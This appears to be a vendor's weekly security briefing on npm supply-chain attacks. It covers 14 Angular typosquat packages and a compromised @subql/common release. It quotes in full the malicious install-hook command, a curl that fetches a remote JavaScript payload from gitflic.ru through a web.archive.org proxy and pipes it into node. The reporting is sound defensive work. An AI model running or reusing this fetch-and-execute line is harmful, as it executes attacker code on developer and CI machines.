CVE
Not assigned
CWE
CWE-506, CWE-829, CWE-494
Affected Surface
- npm consumers that installed the 14 malicious Angular lookalike package names published between 4 and 5 October 2026
- Developer workstations, CI runners, and agentic coding systems that resolved `@subql/common@5.8.3` or the Angular typosquat wave during the exposure window
Welcome to Corgea’s weekly briefing. The briefing covers the most important security findings and research from the week.
This edition reflects the 7 October source sweep across CISA KEV, NVD, Aikido, Wiz, Socket, Endor Labs, and broader web search. After deduping against existing Corgea coverage, one net-new package-registry story warranted a standalone article in the last 72 hours: the Angular typosquat batch below. The other major package story in that window, the @subql/common compromise, was already published as its own Corgea article on 6 October.
Top Article
Angular npm typosquats used web.archive.org to proxy install-time code execution
The top new finding from this sweep is a batch of 14 malicious npm packages whose names sat one edit away from Angular’s real scopes. Thirteen packages were pure install-time loaders. Their preinstall or postinstall scripts piped a remote JavaScript payload from gitflic.ru into node, but they hid the fetch behind a web.archive.org wrapper:
curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node
That detail matters because network controls often treat the Internet Archive as benign infrastructure. This wave turns that assumption into a delivery channel. The odd package, @angulaar/cli, did not use the loader at all. It cloned the real Angular CLI and swapped the official MCP SDK dependency for attacker-chosen package @modelcontextprotocol/server@2.0.0, which makes the typo itself a dependency-substitution vector.
Read the full article for the affected package list, the hook breakdown, the substituted dependency, and the lockfile and cache search commands that matter most.
More news
@subql/common: trusted publisher release swapped in a detached stealer
The other major package-registry story still inside the 72-hour window is the already-covered compromise of @subql/common@5.8.3. That incident remains worth prioritizing because it crossed a different trust boundary than the Angular typosquats. The attacker changed a GitHub Actions publish workflow so the job built the real repository, replaced packages/common with an externally hosted tarball, and then published the result through the project’s own trusted publisher identity.
If your team triages by blast radius, the Angular batch and @subql/common deserve to be read together:
- the Angular wave shows how cheaply an attacker can weaponize one-character package-name mistakes at install time
- the SubQuery incident shows that even correct package names are not enough when a release workflow can swap artifacts after build and before publish
Other news
- The requested CISA KEV sweep produced new entries in the last few days, but none were stronger package-manager or Linux developer-surface stories than the Angular and SubQuery items above.
- The requested Aikido, Wiz, Socket, and Endor Labs page review did not surface a fresher English-language package compromise or Linux zero day in the 4 to 7 October window that beat the Angular wave on timeliness or technical depth.
- If you are reviewing developer-environment exposure this week, start with install-time trust boundaries. The two strongest stories in this run both begin before application code starts: one at
npm install, the other in a CI publish workflow.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.